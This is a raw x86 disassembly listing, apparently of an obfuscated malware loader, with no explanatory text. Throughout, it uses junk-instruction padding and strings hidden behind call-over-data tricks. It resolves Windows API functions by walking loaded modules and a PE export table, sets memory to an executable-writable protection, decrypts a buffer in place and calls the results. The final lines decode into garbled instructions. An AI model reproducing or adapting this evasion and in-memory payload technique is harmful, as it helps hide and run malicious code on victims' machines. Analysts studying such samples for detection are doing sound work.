cmp dword [ebp - 0xc68], 0
jne 0x50a38d
mov dword [ebp - 0x2a8], 0
jmp 0x50a5d8
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
or ecx, 0x176ce
and ecx, 0x1497d
sub ecx, 0xb56f
pop ecx
push ecx
push edx
add esp, 4
add ecx, 0x137d6
and ecx, 0x11b4c
and ecx, 0x52a7
and ecx, 0xe8bc
pop ecx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
or ebx, 0x1a05
sub ebx, 0x81b0
pop ebx
push eax
push eax
add esp, 4
or eax, 0xd701
sub eax, 0xeec7
add eax, 0xe919
pop eax
push ecx
push eax
add esp, 4
add ecx, 0xef52
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push edi
add esp, 4
call 0x50a492
add byte [ecx], bh
inc edi
inc edx
inc ebp
cmp eax, 0xc4834f48
add al, 0x81
xor dword [ecx], edx
add byte [ecx + 0xaccbc2], al
add byte [edx + 0x52], bl
push ebx
add esp, 4
jmp 0x50a4af
pop edx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50a4cd
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50a527
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50a3f5
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50a3f5
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50a511
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50a51b
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50a570
push esi
push ecx
add esp, 4
or esi, 0xb094
call 0x50a54a
add byte [edx + 0x48], al
cmp byte [ecx + 0x4d], cl
xor edi, dword [edi]
inc edi
dec ebx
add esp, 4
pop esi
push eax
call 0x50a55e
add byte [edi + 0x43], cl
inc esi
xor eax, 0x473b3b3a
aaa
add esp, 4
pop eax
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50a5d8
push edx
push edx
add esp, 4
sub edx, 0x13d64
jmp 0x50a581
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x7dd2
pop ecx
push edx
xor edx, 0xdfa5
pop edx
push ebx
push ecx
add esp, 4
sub ebx, 0x123a6
pop ebx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50a5ce
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50a399
mov dword [ebp - 0x2a8], 0
push ebx
or ebx, 0x177f0
pop ebx
push esi
or esi, 0x9c93
pop esi
push esi
xor esi, 0xfeac
and esi, 0x112f1
add esi, 0x10be9
pop esi
push ebx
and ebx, 0x17252
and ebx, 0x152b2
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
push esi
add esp, 4
sub ebx, 0x10ff1
or ebx, 0x55e4
and ebx, 0x1752
pop ebx
push eax
push edi
add esp, 4
or eax, 0xb497
pop eax
push edx
or edx, 0x1059e
sub edx, 0x1a93
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x50a67b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50a96c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x50a6a3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50a96c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x50a6d5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x50a96c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x50a6fa
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x50a96c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x50a754
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x50a960
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x50a7c4
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50a876
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x50a876
push eax
push ecx
add esp, 4
sub eax, 0x3401
pop eax
push edx
push edi
add esp, 4
sub edx, 0xe684
pop edx
push edi
and edi, 0x31eb
sub edi, 0x14c8e
sub edi, 0x5f9
or edi, 0x677b
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x50a868
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x50a86f
jmp 0x50a7b5
jmp 0x50a876
push edx
or edx, 0x151f
or edx, 0xb718
jmp 0x50a88c
pop edx
push edx
jmp 0x50a897
call 0x50a8a4
add byte [edi], dh
dec ebx
aaa
inc edx
push eax
dec eax
inc ebp
add esp, 4
pop edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x50a8d5
mov dword [ebp - 0xc6c], 0
jmp 0x50a944
push ebx
and ebx, 0x96eb
pop ebx
push esi
or esi, 0x11557
and esi, 0xefef
xor esi, 0xfba5
pop esi
push eax
or eax, 0x14f90
sub eax, 0x100b7
pop eax
push eax
xor eax, 0x13020
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x50a93a
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x50a944
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x50a95b
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x50a96c
jmp 0x50a745
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
xor edi, 0xc71c
pop edi
push ebx
push edi
add esp, 4
sub ebx, 0x1788c
xor ebx, 0x3025
pop ebx
push edi
push ecx
add esp, 4
or edi, 0xcbe0
xor edi, 0x16898
and edi, 0xbdce
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x50aa1d
push ebx
call 0x50a9e5
add byte [eax + 0x4d], al
inc esi
dec edx
inc edi
add esp, 4
or ebx, 0x146ce
pop ebx
push ebx
call 0x50a9ff
add byte [ecx + 0x39], al
inc esi
xor al, 0x46
cmp eax, 0x833b4d41
les eax, [ecx + eax*4]
jmp 0x50aa14
jmp [edx]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x50aa3a
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x50aa96
push ecx
push ecx
add esp, 4
add ecx, 0x4204
pop ecx
push esi
push ecx
add esp, 4
or esi, 0x5d7f
add esi, 0x23ce
pop esi
push ebx
call 0x50aa76
add byte [eax + ecx*2], bh
dec ecx
aas
cmp al, 0x33
inc esi
dec edx
inc ebp
add esp, 4
pop ebx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x50aa2b
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x50ab0e
push edi
push edx
add esp, 4
jmp 0x50aad4
jmp 0x50aada
or edi, 0xbab7
or edi, 0x185d3
pop edi
push ebx
push eax
add esp, 4
jmp 0x50aaf1
pop ebx
push ecx
or ecx, 0x270
pop ecx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
push ecx
add esp, 4
and ecx, 0x437b
add ecx, 0x8b8e
sub ecx, 0x4604
pop ecx
push edi
add edi, 0x15c6e
xor edi, 0x1833d
sub edi, 0x1715b
xor edi, 0x67e0
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff02ff
pop ecx
pop ecx
xor ecx, 2
add al, byte fs:[edx]
ljmp 0x4f02